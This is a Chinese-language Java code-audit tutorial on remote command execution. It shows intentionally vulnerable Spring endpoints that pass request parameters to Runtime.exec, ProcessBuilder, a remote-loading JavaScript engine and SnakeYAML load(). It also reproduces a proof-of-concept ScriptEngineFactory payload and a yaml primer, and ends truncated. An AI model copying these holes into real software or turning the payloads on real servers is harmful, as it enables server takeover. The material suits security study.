Java代码审计之RCE远程命令执行

【Java代码审计之RCE远程命令执行】沉舟侧畔千帆进,病树前头万木春。这篇文章主要讲述Java代码审计之RCE远程命令执行相关的知识,希望能为你提供帮助。


漏洞原理:RCE漏洞,可让攻击者直接向后台服务器远程注入操做系统命令或者代码,从而控制后台系统。
出现此类漏洞通常由于应用系统从设计上须要给用户提供指定的远程命令操做的接口。通常会给用户提供一个ping操做的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。而若是设计者在完成该功能时,没有作严格的安全控制,则可能会致使攻击者经过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
runtime/exec访问url为http://localhost:8080/rce/runtime/exec?cmd=whoami
http://localhost:8080/rce/runtime/exec?cmd=calc

@GetMapping("/runtime/exec")
public String CommandExec(String cmd)
Runtime run = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();

try
Process p = run.exec(cmd);
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;

while ((tmpStr = inBr.readLine()) != null)
sb.append(tmpStr);


if (p.waitFor() != 0)
if (p.exitValue() == 1)
return "Command exec failed!!";


inBr.close();
in.close();
catch (Exception e)
return e.toString();

return sb.toString();

最基础的Runtime.getRuntime().exec(cmd),直接传入命令即可执行。
ProcessBuilder访问url为http://localhost:8080/rce/ProcessBuilder?cmd=whoami。
同样也是直接执行命令,不同的是使用的是ProcessBuilder来执行命令。ProcessBuilder传入参数为列表,第一个参数为可执行命令程序,后面的参数为执行的命令程序的参数。
/**
* http://localhost:8080/rce/ProcessBuilder?cmd=whoami
* @param cmd cmd
*/
@GetMapping("/ProcessBuilder")
public String processBuilder(String cmd)

StringBuilder sb = new StringBuilder();

try
//String[] arrCmd = "/bin/sh", "-c", cmd; //linux
String[] arrCmd = cmd; //windows,windos下无需指定
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;

while ((tmpStr = inBr.readLine()) != null)
sb.append(tmpStr);

catch (Exception e)
return e.toString();


return sb.toString();

jscmd访问url为http://localhost:8080/rce/jscmd?jsurl=http://localhost/exe.js,传入的参数为一个javascript代码的url地址
http://localhost/exe.js
var a = mainOutput();
function mainOutput()
var x=java.lang.Runtime.getRuntime().exec("calc");

源码如下,使用的是ScriptEngine来对JavaScript代码的调用,最后eval()执行代码。
/**
* http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js
*
* curl http://xx.yy/exe.js
* var a = mainOutput(); function mainOutput()varx=java.lang.Runtime.getRuntime().exec("open -a Calculator");
*
* @param jsurl js url
*/
@GetMapping("/jscmd")
public void jsEngine(String jsurl) throws Exception
// js nashorn javascript ecmascript
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js"); //通过文件扩展名获取:
//ScriptEngine engine = manager.getEngineByName("JavaScript"); //通过脚本名称获取:
//ScriptEngine engine = manager.getEngineByMimeType("text/javascript"); //通过MIME类型来获取:
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE); //启动javascript引擎
String cmd = String.format("load(\\"%s\\")", jsurl);
engine.eval(cmd, bindings);

ymlYAML(YAML Aint Markup Language),也可以叫做YML,是一种人性化的数据序列化的语言,类似于XML,JSON。SpringBoot的配置文件就支持yaml文件
yaml有三种数据结构
对象
写在一行
address: province: 山东, city: 济南

写在多行
address:
province: 山东
city: 济南

数组
写在一行
hobbyList: [游泳, 跑步]

写在多行
hobbyList:
- 游泳
- 跑步

纯量
  • 字符串 默认不用加引号,包含空格或特殊字符必须加引号,单引号或双引号都可以
userId: S123
username: "lisi"
password: 123456
province: 山东
city: "济南 : ss"

  • 布尔值
success: true

  • 整数
age: 13

  • 浮点数
weight: 75.5

  • Null
gender: ~

  • 时间
时间使用ISO8601标准[ISO8601](https://baike.baidu.com/item/ISO 8601/3910715?fr=aladdin)
createDate: 2001-12-14T21:59:43.10+05

使用snakeyaml将yaml文件解析成javabean
添加maven依赖
复制< dependency>
< groupId> org.yaml< /groupId>
< artifactId> snakeyaml< /artifactId>
< version> 1.27< /version>
< /dependency>

访问url为http://localhost:8080/rce/vuln/yarm
利用的是SnakeYAML存在的反序列化漏洞来rce,在解析恶意 yml 内容时会完成指定的动作。
先是触发java.net.URL去拉取远程 HTTP 服务器上的恶意 jar 文件,然后是寻找 jar 文件中实现javax.script.ScriptEngineFactory接口的类并实例化,实例化类时执行恶意代码,造成 RCE 漏洞。
public void yarm(String content)
Yaml y = new Yaml();
y.load(content);

payload在https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java有。
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory
public AwesomeScriptEngineFactory()
try
Runtime.getRuntime().exec("whoami");
Runtime.getRuntime().exec("calc");
catch (IOException e)
e.printStackTrace();


@Override
public String getEngineName()
return null;

@Override
public String getEngineVersion()
return null;

@Override
public List< String> getExtensions()
return null;

@Override
public List< String> getMimeTypes()
return null;

@Override
public List< String> getNames()
return null;

@Override
public String getLanguageName()
return null;

@Override
public String getLanguageVersion()
return null;

@Override
public Object getParameter(String key)
return null;

@Override
public String getMethodCallSyntax(String obj, String m, String... args)
return null;

@Override
public String getOutputStatement(String toDisplay)
return null;

@Override
public String getProgram(String... statements)

    推荐阅读